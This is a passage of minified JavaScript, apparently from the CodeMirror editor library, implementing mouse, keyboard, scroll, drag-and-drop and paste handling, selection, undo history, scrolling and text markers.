d=a.findWordAt(c);Cb(a.doc,d.anchor,d.head)}}})):pg(b.scroller,"dblclick",function(b){vg(a,b)||jg(b)}),pg(b.lineSpace,"selectstart",function(a){fd(b,a)||jg(a)}),t||pg(b.scroller,"contextmenu",function(b){Jd(a,b)}),pg(b.scroller,"scroll",function(){b.scroller.clientHeight&&(sd(a,b.scroller.scrollTop),td(a,b.scroller.scrollLeft,!0),rg(a,"scroll",a))}),pg(b.scrollbarV,"scroll",function(){b.scroller.clientHeight&&sd(a,b.scrollbarV.scrollTop)}),pg(b.scrollbarH,"scroll",function(){b.scroller.clientHeight&&td(a,b.scrollbarH.scrollLeft)}),pg(b.scroller,"mousewheel",function(b){wd(a,b)}),pg(b.scroller,"DOMMouseScroll",function(b){wd(a,b)}),pg(b.scrollbarH,"mousedown",c),pg(b.scrollbarV,"mousedown",c),pg(b.wrapper,"scroll",function(){b.wrapper.scrollTop=b.wrapper.scrollLeft=0}),pg(b.input,"keyup",function(b){Fd.call(a,b)}),pg(b.input,"input",function(){d&&e>=9&&a.display.inputHasSelection&&(a.display.inputHasSelection=null),Yc(a)}),pg(b.input,"keydown",Lc(a,Dd)),pg(b.input,"keypress",Lc(a,Gd)),pg(b.input,"focus",Pg(Hd,a)),pg(b.input,"blur",Pg(Id,a)),a.options.dragDrop&&(pg(b.scroller,"dragstart",function(b){rd(a,b)}),pg(b.scroller,"dragenter",g),pg(b.scroller,"dragover",g),pg(b.scroller,"drop",Lc(a,qd))),pg(b.scroller,"paste",function(c){fd(b,c)||(a.state.pasteIncoming=!0,ad(a),Yc(a))}),pg(b.input,"paste",function(){if(f&&!a.state.fakedLastChar&&!(new Date-a.state.lastMiddleDown<200)){var c=b.input.selectionStart,d=b.input.selectionEnd;b.input.value+="$",b.input.selectionEnd=d,b.input.selectionStart=c,a.state.fakedLastChar=!0}a.state.pasteIncoming=!0,Yc(a)}),pg(b.input,"cut",h),pg(b.input,"copy",h),k&&pg(b.sizer,"mouseup",function(){_g()==b.input&&b.input.blur(),ad(a)})}function ed(a){var b=a.display;b.cachedCharWidth=b.cachedTextHeight=b.cachedPaddingH=null,a.setSize()}function fd(a,b){for(var c=ng(b);c!=a.wrapper;c=c.parentNode)if(!c||c.ignoreEvents||c.parentNode==a.sizer&&c!=a.mover)return!0}function gd(a,b,c,d){var e=a.display;if(!c){var f=ng(b);if(f==e.scrollbarH||f==e.scrollbarV||f==e.scrollbarFiller||f==e.gutterFiller)return null}var g,h,i=e.lineSpace.getBoundingClientRect();try{g=b.clientX-i.left,h=b.clientY-i.top}catch(b){return null}var k,j=uc(a,g,h);if(d&&1==j.xRel&&(k=Of(a.doc,j.line).text).length==j.ch){var l=Fg(k,k.length,a.options.tabSize)-k.length;j=nb(j.line,Math.max(0,Math.round((g-$b(a.display).left)/yc(a.display))-l))}return j}function hd(a){if(!vg(this,a)){var b=this,c=b.display;if(c.shift=a.shiftKey,fd(c,a))return f||(c.scroller.draggable=!1,setTimeout(function(){c.scroller.draggable=!0},100)),void 0;if(!od(b,a)){var d=gd(b,a);switch(window.focus(),og(a)){case 1:d?kd(b,a,d):ng(a)==c.scroller&&jg(a);break;case 2:f&&(b.state.lastMiddleDown=+new Date),d&&Cb(b.doc,d),setTimeout(Pg(ad,b),20),jg(a);break;case 3:t&&Jd(b,a)}}}}function kd(a,b,c){setTimeout(Pg(bd,a),0);var e,d=+new Date;jd&&jd.time>d-400&&0==ob(jd.pos,c)?e="triple":id&&id.time>d-400&&0==ob(id.pos,c)?(e="double",jd={time:d,pos:c}):(e="single",id={time:d,pos:c});var f=a.doc.sel,g=p?b.metaKey:b.ctrlKey;a.options.dragDrop&&ih&&!cd(a)&&"single"==e&&f.contains(c)>-1&&f.somethingSelected()?ld(a,b,c,g):md(a,b,c,e,g)}function ld(a,b,c,g){var h=a.display,i=Lc(a,function(j){f&&(h.scroller.draggable=!1),a.state.draggingText=!1,qg(document,"mouseup",i),qg(h.scroller,"drop",i),Math.abs(b.clientX-j.clientX)+Math.abs(b.clientY-j.clientY)<10&&(jg(j),g||Cb(a.doc,c),ad(a),d&&9==e&&setTimeout(function(){document.body.focus(),ad(a)},20))});f&&(h.scroller.draggable=!0),a.state.draggingText=i,h.scroller.dragDrop&&h.scroller.dragDrop(),pg(document,"mouseup",i),pg(h.scroller,"drop",i)}function md(a,b,c,d,e){function n(b){if(0!=ob(m,b))if(m=b,"rect"==d){for(var e=[],f=a.options.tabSize,k=Fg(Of(g,c.line).text,c.ch,f),l=Fg(Of(g,b.line).text,b.ch,f),n=Math.min(k,l),o=Math.max(k,l),p=Math.min(c.line,b.line),q=Math.min(a.lastLine(),Math.max(c.line,b.line));q>=p;p++){var r=Of(g,p).text,s=Gg(r,n,f);n==o?e.push(new tb(nb(p,s),nb(p,s))):r.length>s&&e.push(new tb(nb(p,s),nb(p,Gg(r,o,f))))}e.length||e.push(new tb(c,c)),Ib(g,ub(j.ranges.slice(0,i).concat(e),i),{origin:"*mouse",scroll:!1}),a.scrollIntoView(b)}else{var t=h,u=t.anchor,v=b;if("single"!=d){if("double"==d)var w=a.findWordAt(b);else var w=new tb(nb(b.line,0),xb(g,nb(b.line+1,0)));ob(w.anchor,u)>0?(v=w.head,u=rb(t.from(),w.anchor)):(v=w.anchor,u=qb(t.to(),w.head))}var e=j.ranges.slice(0);e[i]=new tb(xb(g,u),v),Ib(g,ub(e,i),Cg)}}function q(b){var c=++p,e=gd(a,b,!0,"rect"==d);if(e)if(0!=ob(e,m)){bd(a),n(e);var h=O(f,g);(e.line>=h.to||e.line<h.from)&&setTimeout(Lc(a,function(){p==c&&q(b)}),150)}else{var i=b.clientY<o.top?-20:b.clientY>o.bottom?20:0;i&&setTimeout(Lc(a,function(){p==c&&(f.scroller.scrollTop+=i,q(b))}),50)}}function r(b){p=1/0,jg(b),ad(a),qg(document,"mousemove",s),qg(document,"mouseup",t),g.history.lastSelOrigin=null}var f=a.display,g=a.doc;jg(b);var h,i,j=g.sel;if(e&&!b.shiftKey?(i=g.sel.contains(c),h=i>-1?g.sel.ranges[i]:new tb(c,c)):h=g.sel.primary(),b.altKey)d="rect",e||(h=new tb(c,c)),c=gd(a,b,!0,!0),i=-1;else if("double"==d){var k=a.findWordAt(c);h=a.display.shift||g.extend?Bb(g,h,k.anchor,k.head):k}else if("triple"==d){var l=new tb(nb(c.line,0),xb(g,nb(c.line+1,0)));h=a.display.shift||g.extend?Bb(g,h,l.anchor,l.head):l}else h=Bb(g,h,c);e?i>-1?Eb(g,i,h,Cg):(i=g.sel.ranges.length,Ib(g,ub(g.sel.ranges.concat([h]),i),{scroll:!1,origin:"*mouse"})):(i=0,Ib(g,new sb([h],0),Cg),j=g.sel);var m=c,o=f.wrapper.getBoundingClientRect(),p=0,s=Lc(a,function(a){og(a)?q(a):r(a)}),t=Lc(a,r);pg(document,"mousemove",s),pg(document,"mouseup",t)}function nd(a,b,c,d,e){try{var f=b.clientX,g=b.clientY}catch(b){return!1}if(f>=Math.floor(a.display.gutters.getBoundingClientRect().right))return!1;d&&jg(b);var h=a.display,i=h.lineDiv.getBoundingClientRect();if(g>i.bottom||!xg(a,c))return lg(b);g-=i.top-h.viewOffset;for(var j=0;j<a.options.gutters.length;++j){var k=h.gutters.childNodes[j];if(k&&k.getBoundingClientRect().right>=f){var l=Tf(a.doc,g),m=a.options.gutters[j];return e(a,c,a,l,m,b),lg(b)}}}function od(a,b){return nd(a,b,"gutterClick",!0,tg)}function qd(a){var b=this;if(!vg(b,a)&&!fd(b.display,a)){jg(a),d&&(pd=+new Date);var c=gd(b,a,!0),e=a.dataTransfer.files;if(c&&!cd(b))if(e&&e.length&&window.FileReader&&window.File)for(var f=e.length,g=Array(f),h=0,i=function(a,d){var e=new FileReader;e.onload=Lc(b,function(){if(g[d]=e.result,++h==f){c=xb(b.doc,c);var a={from:c,to:c,text:ph(g.join("\n")),origin:"paste"};Rd(b.doc,a),Hb(b.doc,vb(c,Ld(a)))}}),e.readAsText(a)},j=0;f>j;++j)i(e[j],j);else{if(b.state.draggingText&&b.doc.sel.contains(c)>-1)return b.state.draggingText(a),setTimeout(Pg(ad,b),20),void 0;try{var g=a.dataTransfer.getData("Text");if(g){if(b.state.draggingText&&!(p?a.metaKey:a.ctrlKey))var k=b.listSelections();if(Jb(b.doc,vb(c,c)),k)for(var j=0;j<k.length;++j)Xd(b.doc,"",k[j].anchor,k[j].head,"drag");b.replaceSelection(g,"around","paste"),ad(b)}}catch(a){}}}}function rd(a,b){if(d&&(!a.state.draggingText||+new Date-pd<100))return mg(b),void 0;if(!vg(a,b)&&!fd(a.display,b)&&(b.dataTransfer.setData("Text",a.getSelection()),b.dataTransfer.setDragImage&&!j)){var c=Wg("img",null,null,"position: fixed; left: 0; top: 0;");c.src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==",i&&(c.width=c.height=1,a.display.wrapper.appendChild(c),c._top=c.offsetTop),b.dataTransfer.setDragImage(c,0,0),i&&c.parentNode.removeChild(c)}}function sd(b,c){Math.abs(b.doc.scrollTop-c)<2||(b.doc.scrollTop=c,a||W(b,{top:c}),b.display.scroller.scrollTop!=c&&(b.display.scroller.scrollTop=c),b.display.scrollbarV.scrollTop!=c&&(b.display.scrollbarV.scrollTop=c),a&&W(b),Ub(b,100))}function td(a,b,c){(c?b==a.doc.scrollLeft:Math.abs(a.doc.scrollLeft-b)<2)||(b=Math.min(b,a.display.scroller.scrollWidth-a.display.scroller.clientWidth),a.doc.scrollLeft=b,P(a),a.display.scroller.scrollLeft!=b&&(a.display.scroller.scrollLeft=b),a.display.scrollbarH.scrollLeft!=b&&(a.display.scrollbarH.scrollLeft=b))}function wd(b,c){var d=c.wheelDeltaX,e=c.wheelDeltaY;null==d&&c.detail&&c.axis==c.HORIZONTAL_AXIS&&(d=c.detail),null==e&&c.detail&&c.axis==c.VERTICAL_AXIS?e=c.detail:null==e&&(e=c.wheelDelta);var g=b.display,h=g.scroller;if(d&&h.scrollWidth>h.clientWidth||e&&h.scrollHeight>h.clientHeight){if(e&&p&&f)a:for(var j=c.target,k=g.view;j!=h;j=j.parentNode)for(var l=0;l<k.length;l++)if(k[l].node==j){b.display.currentWheelTarget=j;break a}if(d&&!a&&!i&&null!=vd)return e&&sd(b,Math.max(0,Math.min(h.scrollTop+e*vd,h.scrollHeight-h.clientHeight))),td(b,Math.max(0,Math.min(h.scrollLeft+d*vd,h.scrollWidth-h.clientWidth))),jg(c),g.wheelStartX=null,void 0;if(e&&null!=vd){var m=e*vd,n=b.doc.scrollTop,o=n+g.wrapper.clientHeight;0>m?n=Math.max(0,n+m-50):o=Math.min(b.doc.height,o+m+50),W(b,{top:n,bottom:o})}20>ud&&(null==g.wheelStartX?(g.wheelStartX=h.scrollLeft,g.wheelStartY=h.scrollTop,g.wheelDX=d,g.wheelDY=e,setTimeout(function(){if(null!=g.wheelStartX){var a=h.scrollLeft-g.wheelStartX,b=h.scrollTop-g.wheelStartY,c=b&&g.wheelDY&&b/g.wheelDY||a&&g.wheelDX&&a/g.wheelDX;g.wheelStartX=g.wheelStartY=null,c&&(vd=(vd*ud+c)/(ud+1),++ud)}},200)):(g.wheelDX+=d,g.wheelDY+=e))}}function xd(a,b,c){if("string"==typeof b&&(b=te[b],!b))return!1;a.display.pollingFast&&$c(a)&&(a.display.pollingFast=!1);var d=a.display.shift,e=!1;try{cd(a)&&(a.state.suppressEdits=!0),c&&(a.display.shift=!1),e=b(a)!=Ag}finally{a.display.shift=d,a.state.suppressEdits=!1}return e}function yd(a){var b=a.state.keyMaps.slice(0);return a.options.extraKeys&&b.push(a.options.extraKeys),b.push(a.options.keyMap),b}function Ad(a,b){var c=ve(a.options.keyMap),d=c.auto;clearTimeout(zd),d&&!xe(b)&&(zd=setTimeout(function(){ve(a.options.keyMap)==c&&(a.options.keyMap=d.call?d.call(null,a):d,D(a))},50));var e=ye(b,!0),f=!1;if(!e)return!1;var g=yd(a);return f=b.shiftKey?we("Shift-"+e,g,function(b){return xd(a,b,!0)})||we(e,g,function(b){return("string"==typeof b?/^go[A-Z]/.test(b):b.motion)?xd(a,b):void 0}):we(e,g,function(b){return xd(a,b)}),f&&(jg(b),Tb(a),tg(a,"keyHandled",a,e,b)),f}function Bd(a,b,c){var d=we("'"+c+"'",yd(a),function(b){return xd(a,b,!0)});return d&&(jg(b),Tb(a),tg(a,"keyHandled",a,"'"+c+"'",b)),d}function Dd(a){var b=this;if(bd(b),!vg(b,a)){d&&11>e&&27==a.keyCode&&(a.returnValue=!1);var c=a.keyCode;b.display.shift=16==c||a.shiftKey;var f=Ad(b,a);i&&(Cd=f?c:null,!f&&88==c&&!rh&&(p?a.metaKey:a.ctrlKey)&&b.replaceSelection("",null,"cut")),18!=c||/\bCodeMirror-crosshair\b/.test(b.display.lineDiv.className)||Ed(b)}}function Ed(a){function c(a){18!=a.keyCode&&a.altKey||(bh(b,"CodeMirror-crosshair"),qg(document,"keyup",c),qg(document,"mouseover",c))}var b=a.display.lineDiv;ch(b,"CodeMirror-crosshair"),pg(document,"keyup",c),pg(document,"mouseover",c)}function Fd(a){16==a.keyCode&&(this.doc.sel.shift=!1),vg(this,a)}function Gd(a){var b=this;if(!(vg(b,a)||a.ctrlKey&&!a.altKey||p&&a.metaKey)){var c=a.keyCode,f=a.charCode;if(i&&c==Cd)return Cd=null,jg(a),void 0;if(!(i&&(!a.which||a.which<10)||k)||!Ad(b,a)){var g=String.fromCharCode(null==f?c:f);Bd(b,a,g)||(d&&e>=9&&(b.display.inputHasSelection=null),Yc(b))}}}function Hd(a){"nocursor"!=a.options.readOnly&&(a.state.focused||(rg(a,"focus",a),a.state.focused=!0,ch(a.display.wrapper,"CodeMirror-focused"),a.curOp||a.display.selForContextMenu==a.doc.sel||(_c(a),f&&setTimeout(Pg(_c,a,!0),0))),Xc(a),Tb(a))}function Id(a){a.state.focused&&(rg(a,"blur",a),a.state.focused=!1,bh(a.display.wrapper,"CodeMirror-focused")),clearInterval(a.display.blinker),setTimeout(function(){a.state.focused||(a.display.shift=!1)},150)}function Jd(a,b){function m(){if(null!=c.input.selectionStart){var b=a.somethingSelected(),d=c.input.value="\u200b"+(b?c.input.value:"");c.prevInput=b?"":"\u200b",c.input.selectionStart=1,c.input.selectionEnd=d.length,c.selForContextMenu=a.doc.sel}}function n(){if(c.inputDiv.style.position="relative",c.input.style.cssText=k,d&&9>e&&(c.scrollbarV.scrollTop=c.scroller.scrollTop=h),Xc(a),null!=c.input.selectionStart){(!d||d&&9>e)&&m();var b=0,f=function(){c.selForContextMenu==a.doc.sel&&0==c.input.selectionStart?Lc(a,te.selectAll)(a):b++<10?c.detectingSelectAll=setTimeout(f,500):_c(a)};c.detectingSelectAll=setTimeout(f,200)}}if(!vg(a,b,"contextmenu")){var c=a.display;if(!fd(c,b)&&!Kd(a,b)){var g=gd(a,b),h=c.scroller.scrollTop;if(g&&!i){var j=a.options.resetSelectionOnContextMenu;j&&-1==a.doc.sel.contains(g)&&Lc(a,Ib)(a.doc,vb(g),Bg);var k=c.input.style.cssText;if(c.inputDiv.style.position="absolute",c.input.style.cssText="position: fixed; width: 30px; height: 30px; top: "+(b.clientY-5)+"px; left: "+(b.clientX-5)+"px; z-index: 1000; background: "+(d?"rgba(255, 255, 255, .05)":"transparent")+"; outline: none; border-width: 0; outline: none; overflow: hidden; opacity: .05; filter: alpha(opacity=5);",f)var l=window.scrollY;if(ad(a),f&&window.scrollTo(null,l),_c(a),a.somethingSelected()||(c.input.value=c.prevInput=" "),c.selForContextMenu=a.doc.sel,clearTimeout(c.detectingSelectAll),d&&e>=9&&m(),t){mg(b);var o=function(){qg(window,"mouseup",o),setTimeout(n,20)};pg(window,"mouseup",o)}else setTimeout(n,50)}}}}function Kd(a,b){return xg(a,"gutterContextMenu")?nd(a,b,"gutterContextMenu",!1,rg):!1}function Md(a,b){if(ob(a,b.from)<0)return a;if(ob(a,b.to)<=0)return Ld(b);var c=a.line+b.text.length-(b.to.line-b.from.line)-1,d=a.ch;return a.line==b.to.line&&(d+=Ld(b).ch-b.to.ch),nb(c,d)}function Nd(a,b){for(var c=[],d=0;d<a.sel.ranges.length;d++){var e=a.sel.ranges[d];c.push(new tb(Md(e.anchor,b),Md(e.head,b)))}return ub(c,a.sel.primIndex)}function Od(a,b,c){return a.line==b.line?nb(c.line,a.ch-b.ch+c.ch):nb(c.line+(a.line-b.line),a.ch)}function Pd(a,b,c){for(var d=[],e=nb(a.first,0),f=e,g=0;g<b.length;g++){var h=b[g],i=Od(h.from,e,f),j=Od(Ld(h),e,f);if(e=h.to,f=j,"around"==c){var k=a.sel.ranges[g],l=ob(k.head,k.anchor)<0;d[g]=new tb(l?j:i,l?i:j)}else d[g]=new tb(i,i)}return new sb(d,a.sel.primIndex)}function Qd(a,b,c){var d={canceled:!1,from:b.from,to:b.to,text:b.text,origin:b.origin,cancel:function(){this.canceled=!0}};return c&&(d.update=function(b,c,d,e){b&&(this.from=xb(a,b)),c&&(this.to=xb(a,c)),d&&(this.text=d),void 0!==e&&(this.origin=e)}),rg(a,"beforeChange",a,d),a.cm&&rg(a.cm,"beforeChange",a.cm,d),d.canceled?null:{from:d.from,to:d.to,text:d.text,origin:d.origin}}function Rd(a,b,c){if(a.cm){if(!a.cm.curOp)return Lc(a.cm,Rd)(a,b,c);if(a.cm.state.suppressEdits)return}if(!(xg(a,"beforeChange")||a.cm&&xg(a.cm,"beforeChange"))||(b=Qd(a,b,!0))){var d=u&&!c&&Re(a,b.from,b.to);if(d)for(var e=d.length-1;e>=0;--e)Sd(a,{from:d[e].from,to:d[e].to,text:e?[""]:b.text});else Sd(a,b)}}function Sd(a,b){if(1!=b.text.length||""!=b.text[0]||0!=ob(b.from,b.to)){var c=Nd(a,b);$f(a,b,c,a.cm?a.cm.curOp.id:0/0),Vd(a,b,c,Oe(a,b));var d=[];Mf(a,function(a,c){c||-1!=Lg(d,a.history)||(ig(a.history,b),d.push(a.history)),Vd(a,b,null,Oe(a,b))})}}function Td(a,b,c){if(!a.cm||!a.cm.state.suppressEdits){for(var e,d=a.history,f=a.sel,g="undo"==b?d.done:d.undone,h="undo"==b?d.undone:d.done,i=0;i<g.length&&(e=g[i],c?!e.ranges||e.equals(a.sel):e.ranges);i++);if(i!=g.length){for(d.lastOrigin=d.lastSelOrigin=null;e=g.pop(),e.ranges;){if(bg(e,h),c&&!e.equals(a.sel))return Ib(a,e,{clearRedo:!1}),void 0;f=e}var j=[];bg(f,h),h.push({changes:j,generation:d.generation}),d.generation=e.generation||++d.maxGeneration;for(var k=xg(a,"beforeChange")||a.cm&&xg(a.cm,"beforeChange"),i=e.changes.length-1;i>=0;--i){var l=e.changes[i];if(l.origin=b,k&&!Qd(a,l,!1))return g.length=0,void 0;j.push(Xf(a,l));var m=i?Nd(a,l):Jg(g);Vd(a,l,m,Qe(a,l)),!i&&a.cm&&a.cm.scrollIntoView({from:l.from,to:Ld(l)});var n=[];Mf(a,function(a,b){b||-1!=Lg(n,a.history)||(ig(a.history,l),n.push(a.history)),Vd(a,l,null,Qe(a,l))})}}}}function Ud(a,b){if(0!=b&&(a.first+=b,a.sel=new sb(Mg(a.sel.ranges,function(a){return new tb(nb(a.anchor.line+b,a.anchor.ch),nb(a.head.line+b,a.head.ch))}),a.sel.primIndex),a.cm)){Qc(a.cm,a.first,a.first-b,b);for(var c=a.cm.display,d=c.viewFrom;d<c.viewTo;d++)Rc(a.cm,d,"gutter")}}function Vd(a,b,c,d){if(a.cm&&!a.cm.curOp)return Lc(a.cm,Vd)(a,b,c,d);if(b.to.line<a.first)return Ud(a,b.text.length-1-(b.to.line-b.from.line)),void 0;if(!(b.from.line>a.lastLine())){if(b.from.line<a.first){var e=b.text.length-1-(a.first-b.from.line);Ud(a,e),b={from:nb(a.first,0),to:nb(b.to.line+e,b.to.ch),text:[Jg(b.text)],origin:b.origin}}var f=a.lastLine();b.to.line>f&&(b={from:b.from,to:nb(f,Of(a,f).text.length),text:[b.text[0]],origin:b.origin}),b.removed=Pf(a,b.from,b.to),c||(c=Nd(a,b)),a.cm?Wd(a.cm,b,d):Ff(a,b,d),Jb(a,c,Bg)}}function Wd(a,b,c){var d=a.doc,e=a.display,f=b.from,g=b.to,h=!1,i=f.line;a.options.lineWrapping||(i=Sf(_e(Of(d,f.line))),d.iter(i,g.line+1,function(a){return a==e.maxLine?(h=!0,!0):void 0})),d.sel.contains(b.from,b.to)>-1&&wg(a),Ff(d,b,c,B(a)),a.options.lineWrapping||(d.iter(i,f.line+b.text.length,function(a){var b=I(a);b>e.maxLineLength&&(e.maxLine=a,e.maxLineLength=b,e.maxLineChanged=!0,h=!1)}),h&&(a.curOp.updateMaxLine=!0)),d.frontier=Math.min(d.frontier,f.line),Ub(a,400);var j=b.text.length-(g.line-f.line)-1;f.line!=g.line||1!=b.text.length||Ef(a.doc,b)?Qc(a,f.line,g.line+1,j):Rc(a,f.line,"text");var k=xg(a,"changes"),l=xg(a,"change");if(l||k){var m={from:f,to:g,text:b.text,removed:b.removed,origin:b.origin};l&&tg(a,"change",a,m),k&&(a.curOp.changeObjs||(a.curOp.changeObjs=[])).push(m)}a.display.selForContextMenu=null}function Xd(a,b,c,d,e){if(d||(d=c),ob(d,c)<0){var f=d;d=c,c=f}"string"==typeof b&&(b=ph(b)),Rd(a,{from:c,to:d,text:b,origin:e})}function Yd(a,b){var c=a.display,d=c.sizer.getBoundingClientRect(),e=null;if(b.top+d.top<0?e=!0:b.bottom+d.top>(window.innerHeight||document.documentElement.clientHeight)&&(e=!1),null!=e&&!m){var f=Wg("div","\u200b",null,"position: absolute; top: "+(b.top-c.viewOffset-Yb(a.display))+"px; height: "+(b.bottom-b.top+zg)+"px; left: "+b.left+"px; width: 2px;");a.display.lineSpace.appendChild(f),f.scrollIntoView(e),a.display.lineSpace.removeChild(f)}}function Zd(a,b,c,d){null==d&&(d=0);for(var e=0;5>e;e++){var f=!1,g=rc(a,b),h=c&&c!=b?rc(a,c):g,i=_d(a,Math.min(g.left,h.left),Math.min(g.top,h.top)-d,Math.max(g.left,h.left),Math.max(g.bottom,h.bottom)+d),j=a.doc.scrollTop,k=a.doc.scrollLeft;if(null!=i.scrollTop&&(sd(a,i.scrollTop),Math.abs(a.doc.scrollTop-j)>1&&(f=!0)),null!=i.scrollLeft&&(td(a,i.scrollLeft),Math.abs(a.doc.scrollLeft-k)>1&&(f=!0)),!f)return g}}function $d(a,b,c,d,e){var f=_d(a,b,c,d,e);null!=f.scrollTop&&sd(a,f.scrollTop),null!=f.scrollLeft&&td(a,f.scrollLeft)}function _d(a,b,c,d,e){var f=a.display,g=xc(a.display);0>c&&(c=0);var h=a.curOp&&null!=a.curOp.scrollTop?a.curOp.scrollTop:f.scroller.scrollTop,i=f.scroller.clientHeight-zg,j={};e-c>i&&(e=c+i);var k=a.doc.height+Zb(f),l=g>c,m=e>k-g;if(h>c)j.scrollTop=l?0:c;else if(e>h+i){var n=Math.min(c,(m?k:e)-i);n!=h&&(j.scrollTop=n)}var o=a.curOp&&null!=a.curOp.scrollLeft?a.curOp.scrollLeft:f.scroller.scrollLeft,p=f.scroller.clientWidth-zg-f.gutters.offsetWidth,q=d-b>p;return q&&(d=b+p),10>b?j.scrollLeft=0:o>b?j.scrollLeft=Math.max(0,b-(q?0:10)):d>p+o-3&&(j.scrollLeft=d+(q?0:10)-p),j}function ae(a,b,c){(null!=b||null!=c)&&ce(a),null!=b&&(a.curOp.scrollLeft=(null==a.curOp.scrollLeft?a.doc.scrollLeft:a.curOp.scrollLeft)+b),null!=c&&(a.curOp.scrollTop=(null==a.curOp.scrollTop?a.doc.scrollTop:a.curOp.scrollTop)+c)}function be(a){ce(a);var b=a.getCursor(),c=b,d=b;a.options.lineWrapping||(c=b.ch?nb(b.line,b.ch-1):b,d=nb(b.line,b.ch+1)),a.curOp.scrollToPos={from:c,to:d,margin:a.options.cursorScrollMargin,isCursor:!0}}function ce(a){var b=a.curOp.scrollToPos;if(b){a.curOp.scrollToPos=null;var c=sc(a,b.from),d=sc(a,b.to),e=_d(a,Math.min(c.left,d.left),Math.min(c.top,d.top)-b.margin,Math.max(c.right,d.right),Math.max(c.bottom,d.bottom)+b.margin);a.scrollTo(e.scrollLeft,e.scrollTop)}}function de(a,b,c,d){var f,e=a.doc;null==c&&(c="add"),"smart"==c&&(e.mode.indent?f=Xb(a,b):c="prev");var g=a.options.tabSize,h=Of(e,b),i=Fg(h.text,null,g);h.stateAfter&&(h.stateAfter=null);var k,j=h.text.match(/^\s*/)[0];if(d||/\S/.test(h.text)){if("smart"==c&&(k=e.mode.indent(f,h.text.slice(j.length),h.text),k==Ag||k>150)){if(!d)return;c="prev"}}else k=0,c="not";"prev"==c?k=b>e.first?Fg(Of(e,b-1).text,null,g):0:"add"==c?k=i+a.options.indentUnit:"subtract"==c?k=i-a.options.indentUnit:"number"==typeof c&&(k=i+c),k=Math.max(0,k);var l="",m=0;if(a.options.indentWithTabs)for(var n=Math.floor(k/g);n;--n)m+=g,l+="	";if(k>m&&(l+=Ig(k-m)),l!=j)Xd(e,l,nb(b,0),nb(b,j.length),"+input");else for(var n=0;n<e.sel.ranges.length;n++){var o=e.sel.ranges[n];if(o.head.line==b&&o.head.ch<j.length){var m=nb(b,j.length);Eb(e,n,new tb(m,m));break}}h.stateAfter=null}function ee(a,b,c,d){var e=b,f=b;return"number"==typeof b?f=Of(a,wb(a,b)):e=Sf(b),null==e?null:(d(f,e)&&a.cm&&Rc(a.cm,e,c),f)}function fe(a,b){for(var c=a.doc.sel.ranges,d=[],e=0;e<c.length;e++){for(var f=b(c[e]);d.length&&ob(f.from,Jg(d).to)<=0;){var g=d.pop();if(ob(g.from,f.from)<0){f.from=g.from;break}}d.push(f)}Kc(a,function(){for(var b=d.length-1;b>=0;b--)Xd(a.doc,"",d[b].from,d[b].to,"+delete");be(a)})}function ge(a,b,c,d,e){function k(){var b=f+c;return b<a.first||b>=a.first+a.size?j=!1:(f=b,i=Of(a,b))}function l(a){var b=(e?Hh:Ih)(i,g,c,!0);if(null==b){if(a||!k())return j=!1;g=e?(0>c?zh:yh)(i):0>c?i.text.length:0}else g=b;return!0}var f=b.line,g=b.ch,h=c,i=Of(a,f),j=!0;if("char"==d)l();else if("column"==d)l(!0);else if("word"==d||"group"==d)for(var m=null,n="group"==d,o=a.cm&&a.cm.getHelper(b,"wordChars"),p=!0;!(0>c)||l(!p);p=!1){var q=i.text.charAt(g)||"\n",r=Sg(q,o)?"w":n&&"\n"==q?"n":!n||/\s/.test(q)?null:"p";if(!n||p||r||(r="s"),m&&m!=r){0>c&&(c=1,l());break}if(r&&(m=r),c>0&&!l(!p))break}var s=Nb(a,nb(f,g),h,!0);return j||(s.hitSide=!0),s}function he(a,b,c,d){var g,e=a.doc,f=b.left;if("page"==d){var h=Math.min(a.display.wrapper.clientHeight,window.innerHeight||document.documentElement.clientHeight);g=b.top+c*(h-(0>c?1.5:.5)*xc(a.display))}else"line"==d&&(g=c>0?b.bottom+3:b.top-3);for(;;){var i=uc(a,f,g);if(!i.outside)break;if(0>c?0>=g:g>=e.height){i.hitSide=!0;break}g+=5*c}return i}function ke(a,b,c,d){w.defaults[a]=b,c&&(je[a]=d?function(a,b,d){d!=le&&c(a,b,d)}:c)}function ve(a){return"string"==typeof a?ue[a]:a}function Ce(a,b,c,d,e){if(d&&d.shared)return Ee(a,b,c,d,e);if(a.cm&&!a.cm.curOp)return Lc(a.cm,Ce)(a,b,c,d,e);var f=new Ae(a,e),g=ob(b,c);if(d&&Og(d,f,!1),g>0||0==g&&f.clearWhenEmpty!==!1)return f;if(f.replacedWith&&(f.collapsed=!0,f.widgetNode=Wg("span",[f.replacedWith],"CodeMirror-widget"),d.handleMouseEvents||(f.widgetNode.ignoreEvents=!0),d.insertLeft&&(f.widgetNode.insertLeft=!0)),f.collapsed){if($e(a,b.line,b,c,f)||b.line!=c.line&&$e(a,c.line,b,c,f))throw new Error("Inserting collapsed marker partially overlapping an existing one");v=!0}f.addToHistory&&$f(a,{from:b,to:c,origin:"markText"},a.sel,0/0);var j,h=b.line,i=a.cm;if(a.iter(h,c.line+1,function(a){i&&f.collapsed&&!i.options.lineWrapping&&_e(a)==i.display.maxLine&&(j=!0),f.collapsed&&h!=b.line&&Rf(a,0),Le(a,new Ie(f,h==b.line?b.ch:null,h==c.line?c.ch:null)),++h}),f.collapsed&&a.iter(b.line,c.line+1,function(b){df(a,b)&&Rf(b,0)
}),f.clearOnEnter&&pg(f,"beforeCursorEnter",function(){f.clear()}),f.readOnly&&(u=!0,(a.history.done.length||a.history.undone.length)&&a.clearHistory()),f.collapsed&&(f.id=++Be,f.atomic=!0),i){if(j&&(i.curOp.updateMaxLine=!0),f.collapsed)Qc(i,b.line,c.line+1);else if(f.className||f.title||f.startStyle||f.endStyle)for(var k=b.line;k<=c.line;k++)Rc(i,k,"text");f.atomic&&Lb(i.doc),tg(i,"markerAdded",i,f)}return f}function Ee(a,b,c,d,e){d=Og(d),d.shared=!1;var f=[Ce(a,b,c,d,e)],g=f[0],h=d.widgetNode;return Mf(a,function(a){h&&(d.widgetNode=h.cloneNode(!0)),f.push(Ce(a,xb(a,b),xb(a,c),d,e));for(var i=0;i<a.linked.length;++i)if(a.linked[i].isParent)return;g=Jg(f)}),new De(f,g)}function Fe(a){return a.findMarks(nb(a.first,0),a.clipPos(nb(a.lastLine())),function(a){return a.parent})}function Ge(a,b){for(var c=0;c<b.length;c++){var d=b[c],e=d.find(),f=a.clipPos(e.from),g=a.clipPos(e.to);if(ob(f,g)){var h=Ce(a,f,g,d.primary,d.primary.type);d.markers.push(h),h.parent=d}}}function He(a){for(var b=0;b<a.length;b++){var 